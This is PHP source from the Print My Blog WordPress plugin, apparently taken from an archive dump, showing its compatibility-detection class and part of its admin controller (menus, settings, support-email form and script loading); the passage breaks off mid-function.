use PrintMyBlog\compatibility\plugins\YoastSeo;
use PrintMyBlog\system\Context;
use Twine\compatibility\CompatibilityBase;
/**
* Class DetectAndActivate
*
* Description
*
* @package Print My Blog
* @author Mike Nelson
* @since 2.1.4
*
*/
class DetectAndActivate
{
/**
* @var array|null
*/
protected $compatibility_mods = null;
/**
* @return CompatibilityBase[]
*/
protected function getCompatibilityMods()
{
if ($this->compatibility_mods === null) {
/**
* @var $compatiblity_mods_to_activate CompatibilityBase[]
*/
$compatiblity_mods_to_activate = [
new LazyLoadingFeaturePlugin(),
];
if (class_exists('easyFootnotes')) {
$compatiblity_mods_to_activate[] = new EasyFootnotes();
}
if (function_exists('vr_creation')) {
$compatiblity_mods_to_activate[] = new WpVrView();
}
if (class_exists('TablePress')) {
$compatiblity_mods_to_activate[] = new TablePress();
}
if (class_exists('CoBlocks')) {
$compatiblity_mods_to_activate[] = new CoBlocks();
}
if (class_exists('WPSEO_Sitemaps')) {
$compatiblity_mods_to_activate[] = new YoastSeo();
}
if (class_exists('google_language_translator')) {
$compatiblity_mods_to_activate[] = new GoogleLanguageTranslator();
}
if (defined('WPCF7_VERSION')) {
$compatiblity_mods_to_activate[] = new ContactForm7();
}
if (defined('ICL_SITEPRESS_VERSION')) {
$compatiblity_mods_to_activate[] = Context::instance()->reuse('PrintMyBlog\compatibility\plugins\Wpml');
}
if (defined('JETPACK__VERSION')) {
$compatiblity_mods_to_activate[] = new JetPack();
}
if (defined('PMPRO_VERSION')) {
$compatiblity_mods_to_activate[] = new PaidMembershipsPro();
}
if( class_exists('ACF')){
$compatiblity_mods_to_activate[] = new AdvancedCustomFields();
}
if(class_exists('Advanced_Excerpt')){
$compatiblity_mods_to_activate[] = new AdvancedExcerpt();
}
if(class_exists('GTranslate')){
$compatiblity_mods_to_activate[] = new GTranslate();
}
$this->compatibility_mods = $compatiblity_mods_to_activate;
}
return $this->compatibility_mods;
}
/**
* @since 2.1.4
*/
public function detectAndActivateGlobalCompatibilityMods()
{
$compatiblity_mods_to_activate = $this->getCompatibilityMods();
foreach ($compatiblity_mods_to_activate as $compatibility_mod) {
$compatibility_mod->setHooks();
}
}
/**
* Using a filter as an action to initiate our callbacks
* @param string $pre_dispatch_result
* @return string
*/
public function activateRenderingCompatibilityModes($pre_dispatch_result = '')
{
foreach ($this->getCompatibilityMods() as $compatibility_mod) {
$compatibility_mod->setRenderingHooks();
}
return $pre_dispatch_result;
}
}
// End of file DetectAndActivate.php
// Location: PrintMyBlog\compatibility/DetectAndActivate.php
PrintMyBlog/controllers/Admin.php 0000644 00000247712 14666776752 0013130 0 ustar 00 <?php
namespace PrintMyBlog\controllers;
use Dompdf\Renderer\Text;
use Exception;
use FS_Plugin_License;
use FS_Site;
use PrintMyBlog\controllers\helpers\ProjectsListTable;
use PrintMyBlog\db\PostFetcher;
use PrintMyBlog\db\TableManager;
use PrintMyBlog\domain\DefaultFileFormats;
use PrintMyBlog\domain\FrontendPrintSettings;
use PrintMyBlog\domain\PrintOptions;
use PrintMyBlog\entities\DesignTemplate;
use PrintMyBlog\entities\FileFormat;
use PrintMyBlog\entities\ProjectGeneration;
use PrintMyBlog\entities\ProjectProgress;
use PrintMyBlog\exceptions\DesignTemplateDoesNotExist;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\orm\managers\DesignManager;
use PrintMyBlog\orm\managers\ProjectManager;
use PrintMyBlog\orm\managers\ProjectSectionManager;
use PrintMyBlog\services\config\Config;
use PrintMyBlog\services\DebugInfo;
use PrintMyBlog\services\ExternalResourceCache;
use PrintMyBlog\services\FileFormatRegistry;
use PrintMyBlog\services\PmbCentral;
use PrintMyBlog\services\SvgDoer;
use PrintMyBlog\system\Context;
use PrintMyBlog\system\CustomPostTypes;
use Twine\entities\notifications\OneTimeNotification;
use Twine\forms\base\FormSection;
use Twine\forms\base\FormSectionBase;
use Twine\forms\base\FormSectionHtml;
use Twine\forms\helpers\InputOption;
use Twine\forms\inputs\CheckboxMultiInput;
use Twine\forms\inputs\HiddenInput;
use Twine\forms\inputs\RadioButtonInput;
use Twine\forms\inputs\SelectInput;
use Twine\forms\inputs\TextAreaInput;
use Twine\forms\inputs\TextInput;
use Twine\forms\inputs\YesNoInput;
use Twine\helpers\Array2;
use Twine\orm\managers\PostWrapperManager;
use Twine\services\display\FormInputs;
use Twine\controllers\BaseController;
use Twine\services\filesystem\Folder;
use Twine\services\notifications\OneTimeNotificationManager;
use WP_Error;
use WP_Post;
use WP_Post_Type;
use WP_Query;
use const http\Client\Curl\PROXY_HTTP;
/**
* Class Admin
*
* Hooks needed to add our stuff to the admin.
* Mostly it's just a few admin pages.
*
* @package Print My Blog
* @author Mike Nelson
* @since 1.0.0
*
*/
class Admin extends BaseController {
const SLUG_ACTION_ADD_NEW = 'new';
const SLUG_ACTION_EDIT_PROJECT = 'edit';
const SLUG_ACTION_DUPLICATE_PRINT_MATERIAL = 'duplicate_print_material';
const SLUG_SUBACTION_PROJECT_SETUP = 'setup';
const SLUG_SUBACTION_PROJECT_CUSTOMIZE_DESIGN = 'customize_design';
const SLUG_SUBACTION_PROJECT_CHANGE_DESIGN = 'choose_design';
const SLUG_SUBACTION_PROJECT_CONTENT = 'content';
const SLUG_SUBACTION_PROJECT_META = 'metadata';
const SLUG_SUBACTION_PROJECT_GENERATE = 'generate';
const SLUG_SUBACTION_PROJECT_DUPLICATE = 'duplicate';
const SLUG_SUBACTION_PROJECT_CLEAR_CACHE = 'clear_cache';
const SLUG_ACTION_REVIEW = 'review';
const SLUG_ACTION_EDIT_DESIGN = 'customize_design';
const REVIEW_OPTION_NAME = 'pmb_review';
const SLUG_ACTION_UNINSTALL = 'uninstall';
/**
* Name of the option that just indicates we successfully saved the setttings.
*/
const SETTINGS_SAVED_OPTION = 'pmb-settings-saved';
/**
* @var PostFetcher
*/
protected $post_fetcher;
/**
* @var ProjectSectionManager
*/
protected $section_manager;
/**
* @var ProjectManager
*/
protected $project_manager;
/**
* @var FileFormatRegistry
*/
protected $file_format_registry;
/**
* @var DesignManager
*/
protected $design_manager;
/**
* @var FormSection
*/
protected $invalid_form;
/**
* @var TableManager
*/
protected $table_manager;
/**
* @var SvgDoer
*/
protected $svg_doer;
/**
* @var OneTimeNotificationManager
*/
protected $notification_manager;
/**
* Somewhere to put the WP_Error emitted by wp_mail in an action (but not returned)
* @var WP_Error
*/
protected $wp_error;
/**
* @var DebugInfo
*/
protected $debug_info;
/**
* @var PmbCentral
*/
protected $pmb_central;
/**
* The project referenced on this request, if any.
* @var Project|null
*/
protected $project;
/**
* @var PostWrapperManager
*/
protected $post_manager;
/**
* @var ExternalResourceCache
*/
protected $external_resource_cache;
/**
* @var Config
*/
protected $config;
/**
* @param PostFetcher $post_fetcher
* @param ProjectSectionManager $section_manager
* @param ProjectManager $project_manager
* @param FileFormatRegistry $file_format_registry
* @param DesignManager $design_manager
* @param TableManager $table_manager
* @param SvgDoer $svg_doer
* @param OneTimeNotificationManager $notification_manager
* @param DebugInfo $debug_info
* @param PmbCentral $pmb_central
* @param PostWrapperManager $post_manager
* @param ExternalResourceCache $external_resource_cache
* @param Config $config
*/
public function inject(
PostFetcher $post_fetcher,
ProjectSectionManager $section_manager,
ProjectManager $project_manager,
FileFormatRegistry $file_format_registry,
DesignManager $design_manager,
TableManager $table_manager,
SvgDoer $svg_doer,
OneTimeNotificationManager $notification_manager,
DebugInfo $debug_info,
PmbCentral $pmb_central,
PostWrapperManager $post_manager,
ExternalResourceCache $external_resource_cache,
Config $config
) {
$this->post_fetcher = $post_fetcher;
$this->section_manager = $section_manager;
$this->project_manager = $project_manager;
$this->file_format_registry = $file_format_registry;
$this->design_manager = $design_manager;
$this->table_manager = $table_manager;
$this->svg_doer = $svg_doer;
$this->notification_manager = $notification_manager;
$this->debug_info = $debug_info;
$this->pmb_central = $pmb_central;
$this->post_manager = $post_manager;
$this->external_resource_cache = $external_resource_cache;
$this->config = $config;
}
/**
* Sets hooks that we'll use in the admin.
* @since 1.0.0
*/
public function setHooks() {
add_action( 'admin_menu', array($this, 'addToMenu') );
add_filter( 'plugin_action_links_' . PMB_BASENAME, array($this, 'pluginPageLinks') );
add_action( 'admin_enqueue_scripts', [$this, 'enqueueScripts'] );
add_filter(
'post_row_actions',
[$this, 'postAdminRowActions'],
10,
2
);
add_filter(
'page_row_actions',
[$this, 'postAdminRowActions'],
10,
2
);
add_action( 'post_submitbox_misc_actions', array($this, 'addDuplicateAsPrintMaterialToClassicEditor') );
add_action( 'enqueue_block_editor_assets', array($this, 'addDuplicateAsPrintMaterialToGutenberg') );
$this->makePrintContentsSaySaved();
$this->notification_manager->showOneTimeNotifications();
$this->maybeRefreshCreditCache();
$this->earlyResponseHandling();
}
/**
* Adds our menu page.
* @since 1.0.0
*/
public function addToMenu() {
add_menu_page(
esc_html__( 'Print My Blog', 'print-my-blog' ),
esc_html__( 'Print My Blog', 'print-my-blog' ),
PMB_ADMIN_CAP,
PMB_ADMIN_PROJECTS_PAGE_SLUG,
array($this, 'renderProjects'),
$this->svg_doer->getSvgDataAsColor( PMB_DIR . 'assets/images/menu-icon.svg', 'white' )
);
$projects_page = add_submenu_page(
PMB_ADMIN_PROJECTS_PAGE_SLUG,
esc_html__( 'Pro Print', 'print-my-blog' ),
esc_html__( 'Pro Print', 'print-my-blog' ),
PMB_ADMIN_CAP,
PMB_ADMIN_PROJECTS_PAGE_SLUG,
array($this, 'renderProjects')
);
add_action( 'load-' . $projects_page, [$this, 'addHelpTab'] );
$this->hackSubmenuContentIntoRightSpot();
add_submenu_page(
PMB_ADMIN_PROJECTS_PAGE_SLUG,
esc_html__( 'Print My Blog – Quick Print', 'print-my-blog' ),
esc_html__( 'Quick Print', 'print-my-blog' ),
PMB_ADMIN_CAP,
PMB_ADMIN_PAGE_SLUG,
array($this, 'renderAdminPage')
);
add_submenu_page(
PMB_ADMIN_PROJECTS_PAGE_SLUG,
esc_html__( 'Print My Blog Designs', 'print-my-blog' ),
esc_html__( 'Designs', 'print-my-blog' ),
'manage_options',
PMB_ADMIN_DESIGNS_PAGE_SLUG,
array($this, 'editDesigns')
);
add_submenu_page(
PMB_ADMIN_PROJECTS_PAGE_SLUG,
esc_html__( 'Print My Blog Settings', 'print-my-blog' ),
esc_html__( 'Settings', 'print-my-blog' ),
'manage_options',
PMB_ADMIN_SETTINGS_PAGE_SLUG,
array($this, 'editSettingsPage')
);
add_submenu_page(
PMB_ADMIN_PROJECTS_PAGE_SLUG,
__( 'Help Me Print My Blog', 'print-my-blog' ),
__( 'Help', 'print-my-blog' ),
PMB_ADMIN_CAP,
PMB_ADMIN_HELP_PAGE_SLUG,
[$this, 'helpPage']
);
}
/**
* Adds help tab on PMB pages.
*/
public function addHelpTab() {
$screen = get_current_screen();
// Don't worry, we're not doing anything with this request input besides checking it for key values.
// phpcs:disable WordPress.Security.NonceVerification.Recommended
if ( isset( $_GET['page'], $_GET['action'], $_GET['subaction'] ) && $_GET['page'] === PMB_ADMIN_PROJECTS_PAGE_SLUG && $_GET['action'] === self::SLUG_ACTION_EDIT_PROJECT && $_GET['subaction'] === self::SLUG_SUBACTION_PROJECT_CONTENT ) {
//phpcs:enable WordPress.Security.NonceVerification.Recommended
$screen->add_help_tab( array(
'id' => 'my_help_tab',
'title' => __( 'Keyboard Accessibility', 'print-my-blog' ),
'content' => pmb_get_contents( PMB_TEMPLATES_DIR . 'project_edit_content_help_tab.php' ),
) );
}
}
/**
* Hacks WP menu so the links to the PMB contents CPT appear underneath the Print My Blog top-level menu.
*/
protected function hackSubmenuContentIntoRightSpot() {
global $submenu;
if ( array_key_exists( PMB_ADMIN_PROJECTS_PAGE_SLUG, $submenu ) ) {
foreach ( $submenu[PMB_ADMIN_PROJECTS_PAGE_SLUG] as $key => $value ) {
$k = array_search( 'edit.php?post_type=pmb_content', $value, true );
if ( $k ) {
unset($submenu[PMB_ADMIN_PROJECTS_PAGE_SLUG][$key]);
// Sorry, this is the only way to rearrange menu items how I want them.
// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited
$submenu[PMB_ADMIN_PROJECTS_PAGE_SLUG][] = $value;
}
}
}
}
public function saveSettingsPage() {
$settings = Context::instance()->reuse( 'PrintMyBlog\\domain\\FrontendPrintSettings' );
$settings_form = $this->getNewSettingsForm();
check_admin_referer( 'pmb-settings' );
$settings_form->receiveFormSubmission( $_POST );
if ( $settings_form->isValid() ) {
// Ok save those settings!
if ( isset( $_POST['pmb-reset'] ) ) {
$settings = Context::instance()->useNew( 'PrintMyBlog\\domain\\FrontendPrintSettings', [null, false] );
$this->config->resetSetting( Config::ADMIN_PRINT_BUTTONS_POST_TYPES_SETTING_NAME );
$this->config->resetSetting( Config::ADMIN_PRINT_BUTTONS_FORMATS_SETTING_NAME );
} else {
$settings->setShowButtons( isset( $_POST['pmb_show_buttons'] ) );
$settings->setShowButtonsPages( isset( $_POST['pmb_show_buttons_pages'] ) );
$settings->setPlaceAbove( Array2::setOr( $_POST, 'pmb_place_above', 1 ) );
foreach ( $settings->formatSlugs() as $slug ) {
if ( isset( $_POST['pmb_format'][$slug] ) ) {
$active = true;
} else {
$active = false;
}
$settings->setFormatActive( $slug, $active );
if ( isset( $_POST['pmb_frontend_labels'][$slug] ) ) {
// Sanitization happens inside FrontendPrintSettings::setFormatFrontendLabel()
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
$settings->setFormatFrontendLabel( $slug, wp_unslash( $_POST['pmb_frontend_labels'][$slug] ) );
}
if ( isset( $_POST['pmb_print_options'][$slug] ) ) {
// Sanitization happens inside FrontendPrintSettings::setPrintOptions(), which is pretty involved.
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
$settings->setPrintOptions( $slug, wp_unslash( $_POST['pmb_print_options'][$slug] ) );
}
}
$this->config->setSetting( Config::ADMIN_PRINT_BUTTONS_POST_TYPES_SETTING_NAME, $settings_form->getInputValue( 'post_types' ) );
$this->config->setSetting( Config::ADMIN_PRINT_BUTTONS_FORMATS_SETTING_NAME, $settings_form->getInputValue( 'formats' ) );
}
$settings->save();
update_option( self::SETTINGS_SAVED_OPTION, true, false );
$this->config->save();
wp_safe_redirect( admin_url( PMB_ADMIN_SETTINGS_PAGE_PATH ) );
exit;
}
}
/**
* Legacy settings page.
*/
public function editSettingsPage() {
$saved = get_option( self::SETTINGS_SAVED_OPTION, false );
if ( $saved ) {
delete_option( self::SETTINGS_SAVED_OPTION );
$posts = get_posts( array(
'orderby' => 'desc',
'posts_per_page' => '1',
) );
$text = esc_html__( 'Settings Saved!', 'print-my-blog' );
if ( $posts ) {
$a_post = reset( $posts );
$permalink = get_permalink( $a_post );
$text .= ' ' . sprintf(
// translators: 1: opening anchor tag, 2: closing anchor tag
esc_html__( 'You should see the changes on your %1$slatest post%2$s.', 'print-my-blog' ),
'<a href="' . $permalink . '" target="_blank">',
'</a>'
);
}
// Output prepared just a couple lines ago, there's no user input in it.
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo '<div class="notice notice-success is-dismissible"><p>' . $text . '</p></div>';
}
$print_options = new PrintOptions();
$displayer = new FormInputs();
$settings_form = $this->getNewSettingsForm();
$settings = Context::instance()->reuse( 'PrintMyBlog\\domain\\FrontendPrintSettings' );
include PMB_TEMPLATES_DIR . 'settings_page.php';
}
protected function getNewSettingsForm() {
$subsections = [];
// get all post types
$post_types = get_post_types( array(
'exclude_from_search' => false,
), 'objects' );
$post_type_options = [];
foreach ( $post_types as $post_type_slug => $post_type_obj ) {
$post_type_options[$post_type_slug] = new InputOption($post_type_obj->label);
}
$subsections['post_types'] = new CheckboxMultiInput($post_type_options, [
'html_label_text' => __( 'Show print buttons on:', 'print-my-blog' ),
'default' => $this->config->getSetting( Config::ADMIN_PRINT_BUTTONS_POST_TYPES_SETTING_NAME ),
]);
// show all (enabled) formats
$formats = $this->file_format_registry->getFormats();
$format_options = [];
$unsupported_formats = [];
foreach ( $formats as $format ) {
if ( $format->supported() ) {
$format_options[$format->slug()] = new InputOption($format->title());
} else {
$unsupported_formats[] = $format->title();
}
}
$note_about_missing_formats = '';
if ( $unsupported_formats ) {
$unsupported_formats_string = implode( ', ', $unsupported_formats );
$note_about_missing_formats = sprintf( __( 'Note: you need to upgrade your license to access the following formats: %s', 'print-my-blog' ), $unsupported_formats_string );
}
$subsections['formats'] = new CheckboxMultiInput($format_options, [
'html_label_text' => __( 'Print Formats', 'print-my-blog' ),
'html_help_text' => $note_about_missing_formats,
'default' => $this->config->getSetting( Config::ADMIN_PRINT_BUTTONS_FORMATS_SETTING_NAME ),
]);
return new FormSection([
'subsections' => $subsections,
]);
}
/**
* For sending help info to the dev.
*/
public function helpPage() {
if ( $this->invalid_form instanceof FormSection ) {
$form = $this->invalid_form;
$form_url = '';
$method = 'GET';
$button_text = '';
} else {
$form = $this->getEmailHelpForm();
$form_url = admin_url( PMB_ADMIN_HELP_PAGE_PATH );
$method = 'POST';
$button_text = esc_html__( 'Email Print My Blog Support', 'print-my-blog' );
}
pmb_render_template( 'help.php', [
'form' => $form,
'form_url' => $form_url,
'form_method' => $method,
'button_text' => $button_text,
] );
}
/**
* @throws \Twine\forms\helpers\ImproperUsageException
*/
public function sendHelp() {
global $current_user;
$form = $this->getEmailHelpForm();
// Nonces verified by form class.
// phpcs:ignore WordPress.Security.NonceVerification.Recommended
$form->receiveFormSubmission( $_REQUEST );
if ( !$form->isValid() ) {
$this->invalid_form = $form;
return;
}
// don't translate these strings. They're sent to the dev who speaks English.
add_action( 'wp_mail_failed', [$this, 'sendHelpError'], 10 );
$headers = array('Reply-To: ' . $current_user->display_name . ' <' . $current_user->user_email . '>');
$subject = sprintf( 'Help for %s', site_url() );
$message = sprintf(
'Name:%1$s
<br>
Message:%2$s
<br>
Consent:%3$s,
Data:%4$s',
$form->getInputValue( 'name' ),
$form->getInputValue( 'reason' ),
( $form->getInputValue( 'consent' ) ? 'yes' : 'no' ),
$form->getInputValue( 'debug_info' )
);
$success = wp_mail(
'please@printmy.blog',
$subject,
$message,
$headers
);
if ( $success ) {
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_SUCCESS, __( 'Email successfully sent. Expect a reply in the next 1-2 business days.', 'print-my-blog' ) );
} else {
$error = $this->wp_error;
$this->notification_manager->addTextNotificationForCurrentUser( OneTimeNotification::TYPE_ERROR, sprintf(
// translators: 1: error message, 2: email address, 3: subject of email, 4: content of email.
__( 'There was an error sending an email from your website (it was "%1$s"). Please manually send an email to %2$s, with the subject "%3$s", with the content:', 'print-my-blog' ),
$error->get_error_message(),
PMB_SUPPORT_EMAIL,
$subject
) . '<pre>' . $message . '</pre>' );
}
wp_safe_redirect( admin_url( PMB_ADMIN_HELP_PAGE_PATH ) );
}
/**
* Callback for recording error when sending email.
* @param WP_Error $error
*/
public function sendHelpError( WP_Error $error ) {
$this->wp_error = $error;
}
/**
* @return FormSection
* @throws \Twine\forms\helpers\ImproperUsageException
*/
protected function getEmailHelpForm() {
global $current_user;
// reminder: Twine forms default to always add and check nonces.
return new FormSection([
'subsections' => [
'reason' => new TextAreaInput([
'html_label_text' => __( 'Please explain what you did, what you expected, and what went wrong', 'print-my-blog' ),
'required' => true,
'html_help_text' => __( 'Including links to screenshots is appreciated', 'print-my-blog' ),
]),
'name' => new TextInput([
'html_label_text' => __( 'Your Name', 'print-my-blog' ),
'default' => ( $current_user->user_firstname ? $current_user->user_firstname . ' ' . $current_user->user_lastname : $current_user->display_name ),
]),
'consent' => new YesNoInput([
'html_label_text' => __( 'Are you ok with us viewing your most recent generated documents?', 'print-my-blog' ),
'default' => true,
'html_help_text' => __( 'Viewing your most recent generated documents saves a lot of time figuring out what is going wrong. We won’t share your content with anyone else.', 'print-my-blog' ),
]),
'debug_info' => new TextAreaInput([
'html_label_text' => __( 'This debug info will also be sent.', 'print-my-blog' ),
'disabled' => true,
'default' => $this->debug_info->getDebugInfoString(),
'html_help_text' => __( 'This is mostly system information, list of active plugins, active theme, and some Print My Blog Pro info like your most recent projects.', 'print-my-blog' ),
]),
],
]);
}
/**
* Now-unused method for getting a form to submit info to GitHub. Might add it back some day.
* @return FormSection
* @throws \Twine\forms\helpers\ImproperUsageException
*/
protected function getGithubHelpForm() {
return new FormSection([
'subsections' => [
'explanatory_text' => new FormSectionHtml('<h2>' . __( 'Support for your plan is offered on GitHub', 'print-my-blog' ) . '</h2>' . '<p>' . __( 'GitHub is a public forum to share your issues with the developer and other users.', 'print-my-blog' ) . '</p>' . '<p>' . sprintf(
// translators: 1: opening anchor tag, 2: closing anchor tag, 3: opening anchor tag.
__( 'You will need to first %1$screate a GitHub account%2$s. If you prefer to use email support please %3$spurchase a license that offers email support.%2$s', 'print-my-blog' ),
'<a target="_blank" href="https://github.com/signup">',
'</a>',
'<a href="' . esc_url( pmb_fs()->get_upgrade_url() ) . '">'
) . '</p>'),
'body' => new HiddenInput([
'default' => '** Please describe what you were doing, what you expected to happen, and what the problem was. **
```
' . substr( $this->debug_info->getDebugInfoString( false ), 0, 5000 ) . '
```',
'html_name' => 'body',
]),
],
]);
}
/**
* Shows the setup page.
* @since 1.0.0
*/
public function renderAdminPage() {
// Nonce overkill on these pages, no form is being submitted.
// phpcs:disable WordPress.Security.NonceVerification.Recommended
if ( isset( $_GET['welcome'] ) ) {
include PMB_TEMPLATES_DIR . 'welcome.php';
} elseif ( isset( $_GET['upgrade_to_3'] ) ) {
include PMB_TEMPLATES_DIR . 'upgrade_to_3.php';
} else {
$print_options = new PrintOptions();
$displayer = new FormInputs();
include PMB_TEMPLATES_DIR . 'setup_page.php';
}
// phpcs:enable WordPress.Security.NonceVerification.Recommended
}
/**
* Adds links to PMB stuff on the plugins page.
* @param array $links
* @since 1.0.0
*/
public function pluginPageLinks( $links ) {
$links = array_merge( $links, ['<a href="' . wp_nonce_url( add_query_arg( [
'action' => self::SLUG_ACTION_UNINSTALL,
], admin_url( PMB_ADMIN_PROJECTS_PAGE_PATH ) ), self::SLUG_ACTION_UNINSTALL ) . '" id="pmb-uninstall" class="pmb-uninstall">' . esc_html__( 'Delete All Data', 'print-my-blog' ) . '</a>'] );
return $links;
}
/**
* Enqueus scripts for any admin pages.
* @param string $hook
*/
public function enqueueScripts( $hook ) {
wp_enqueue_script( 'pmb_general' );
wp_enqueue_style(
'pmb_admin',
PMB_STYLES_URL . 'pmb-admin.css',
[],
filemtime( PMB_STYLES_DIR . 'pmb-admin.css' )
);
// Nonce overkill for just checking which page they're on.
// phpcs:disable WordPress.Security.NonceVerification.Recommended
if ( isset( $_GET['welcome'] ) || isset( $_GET['upgrade_to_3'] ) ) {
wp_enqueue_style(
'pmb_welcome',
PMB_ASSETS_URL . 'styles/welcome.css',
array(),
filemtime( PMB_ASSETS_DIR . 'styles/welcome.css' )
);
// don't let admin notices ruin the welcoming moment
remove_all_actions( 'admin_notices' );
} elseif ( isset( $_GET['page'] ) && $_GET['page'] === PMB_ADMIN_PAGE_SLUG ) {
wp_enqueue_script( 'pmb-setup-page' );
wp_enqueue_style( 'pmb-setup-page' );
} elseif ( isset( $_GET['page'] ) && $_GET['page'] === PMB_ADMIN_DESIGNS_PAGE_SLUG ) {
wp_enqueue_script(
'pmb-choose-design',
// handle
PMB_SCRIPTS_URL . 'pmb-design-choose.js',
// source
array('pmb-modal'),
filemtime( PMB_SCRIPTS_DIR . 'pmb-design-choose.js' )
);
// A style available in WP
wp_enqueue_style( 'wp-jquery-ui-dialog' );
wp_enqueue_style(
'pmb-choose-design',
PMB_STYLES_URL . 'design-choose.css',
[],
filemtime( PMB_STYLES_DIR . 'design-choose.css' )
);
} elseif ( isset( $_GET['page'] ) && $_GET['page'] === 'print-my-blog-projects' ) {
if ( isset( $_GET['action'] ) && $_GET['action'] === self::SLUG_ACTION_EDIT_PROJECT ) {
switch ( ( isset( $_GET['subaction'] ) ? $_GET['subaction'] : null ) ) {
case self::SLUG_SUBACTION_PROJECT_CONTENT:
wp_register_script(
'sortablejs',
PMB_SCRIPTS_URL . 'libs/Sortable.min.js',
array(),
'1.10.2'
);
wp_enqueue_script(
'pmb_project_edit_content',
PMB_SCRIPTS_URL . 'project-edit-content.js',
array(
'sortablejs',
'jquery-ui-datepicker',
'jquery-ui-dialog',
'pmb-select2',
'wp-api',
'jquery-debounce'
),
filemtime( PMB_SCRIPTS_DIR . 'project-edit-content.js' )
);
wp_enqueue_style( 'jquery-ui' );
wp_enqueue_style( 'pmb-select2' );
wp_localize_script( 'pmb_project_edit_content', 'pmb_project_edit_content_data', [
'levels' => $this->project->getLevelsAllowed(),
'default_rest_url' => ( function_exists( 'rest_url' ) ? rest_url( '/wp/v2' ) : '' ),
'translations' => [
'cant_add' => __( 'Please select items to add to the project', 'print-my-blog' ),
'cant_remove' => __( 'Please select items to remove', 'print-my-blog' ),
'cant_move' => __( 'Please select items to move', 'print-my-blog' ),
'insert_error' => __( 'Error inserting. Please use the PMB help page to get help', 'print-my-blog' ),
'duplicate_error' => __( 'Error creating new print material. Please use the PMB help page to get help.', 'print-my-blog' ),
'empty_content_warning' => __( 'Your project\'s Body is empty. You may have forgetten to drag items from "Available Content" (on the left) into the "Chosen Project Content"\'s Body (on the right). Are you sure you want to leave your project\'s Body empty?', 'print-my-blog' ),
],
] );
break;
case self::SLUG_SUBACTION_PROJECT_CHANGE_DESIGN:
wp_enqueue_script(
'pmb-choose-design',
// handle
PMB_SCRIPTS_URL . 'pmb-design-choose.js',
// source
array('pmb-modal'),
filemtime( PMB_SCRIPTS_DIR . 'pmb-design-choose.js' )
);
// A style available in WP
wp_enqueue_style( 'wp-jquery-ui-dialog' );
wp_enqueue_style(
'pmb-choose-design',
PMB_STYLES_URL . 'design-choose.css',
[],
filemtime( PMB_STYLES_DIR . 'design-choose.css' )
);
break;
case self::SLUG_SUBACTION_PROJECT_GENERATE:
wp_enqueue_script(
'pmb-generate',
PMB_SCRIPTS_URL . 'pmb-generate.js',
['pmb-modal', 'docraptor'],
filemtime( PMB_SCRIPTS_DIR . 'pmb-generate.js' )
);
wp_enqueue_style(
'pmb-generate',
PMB_STYLES_URL . 'pmb-generate.css',
['wp-jquery-ui-dialog'],
filemtime( PMB_STYLES_DIR . 'pmb-generate.css' )
);
$license = pmb_fs()->_get_license();
$site = pmb_fs()->get_site();
wp_localize_script( 'pmb-generate', 'pmb_generate', [
'generate_ajax_data' => apply_filters( '\\PrintMyBlog\\controllers\\Admin->enqueueScripts generate generate_ajax_data', [
'action' => Frontend::PMB_PROJECT_STATUS_ACTION,
'ID' => $this->project->getWpPost()->ID,
'_nonce' => wp_create_nonce( 'pmb-loading' ),
], $this->project ),
'pmb_ajax' => apply_filters( '\\PrintMyBlog\\controllers\\Admin::enqueueScripts pmb_ajax', pmb_ajax_url(), $this->project ),
'site_url' => apply_filters( '\\PrintMyBlog\\controllers\\Admin::enqueueScripts site_url', site_url(), $this->project ),
'use_pmb_central_for_previews' => pmb_use_pmb_central(),
'license_data' => [
'endpoint' => $this->pmb_central->getCentralUrl(),
'license_id' => ( $license instanceof FS_Plugin_License ? $license->id : '' ),
'install_id' => ( $site instanceof FS_Site ? $site->id : '' ),
'authorization_header' => ( $site instanceof FS_Site ? $this->pmb_central->getSiteAuthorizationHeader() : '' ),
],
'doc_attrs' => apply_filters( '\\PrintMyBlog\\controllers\\Admin::enqueueScripts doc_attrs', [
'test' => ( defined( 'PMB_TEST_LIVE' ) && PMB_TEST_LIVE ? true : false ),
'type' => 'pdf',
'javascript' => true,
'name' => $this->project->getPublishedTitle(),
'ignore_console_messages' => true,
'ignore_resource_errors' => true,
'pipeline' => '10.1',
'prince_options' => [
'base_url' => site_url(),
'media' => 'print',
'http_timeout' => 60,
'http_insecure' => true,
],
] ),
'translations' => [
'error_generating' => __( 'There was an error preparing your content. Please visit the Print My Blog Help page.', 'print-my-blog' ),
'socket_error' => __( 'Your project could not be accessed in order to generate the file. Maybe your website is not public? Please visit the Print My Blog Help page.', 'print-my-blog' ),
],
] );
break;
}
// everybody uses the style, right?
wp_enqueue_style(
'pmb_project_edit',
PMB_STYLES_URL . 'project-edit.css',
array(),
filemtime( PMB_STYLES_DIR . 'project-edit.css' )
);
} else {
// projects list table
wp_enqueue_script(
'pmb-projects-list',
// handle
PMB_SCRIPTS_URL . 'pmb-projects-list.js',
// source
array('jquery'),
filemtime( PMB_SCRIPTS_DIR . 'pmb-projects-list.js' )
);
wp_localize_script( 'pmb-projects-list', 'pmb_data', [
'translations' => [
'confirm_duplicate' => __( 'Are you sure you want to duplicate this project?', 'print-my-blog' ),
],
] );
}
} elseif ( $hook === 'plugins.php' ) {
wp_enqueue_script(
'pmb-plugins-page',
PMB_SCRIPTS_URL . 'pmb-plugins-page.js',
[],
filemtime( PMB_SCRIPTS_DIR . 'pmb-plugins-page.js' )
);
}
// phpcs:enable WordPress.Security.NonceVerification.Recommended
}
/**
* Displays a page.
* @throws \Twine\forms\helpers\ImproperUsageException
*/
public function renderProjects() {
// Nonce overkill for just checking which page they're on.
// phpcs:disable WordPress.Security.NonceVerification.Recommended
$action = ( isset( $_GET['action'] ) ? sanitize_key( $_GET['action'] ) : null );
if ( $action === self::SLUG_ACTION_ADD_NEW ) {
$this->editSetup();
} elseif ( $action === self::SLUG_ACTION_EDIT_PROJECT ) {
$subaction = ( isset( $_GET['subaction'] ) ? sanitize_key( $_GET['subaction'] ) : null );
try {
switch ( $subaction ) {
case self::SLUG_SUBACTION_PROJECT_CHANGE_DESIGN:
$this->editProjectDesign();
break;
case self::SLUG_SUBACTION_PROJECT_CUSTOMIZE_DESIGN:
$this->editProjectCustomizeDesign();
break;
case self::SLUG_SUBACTION_PROJECT_CONTENT:
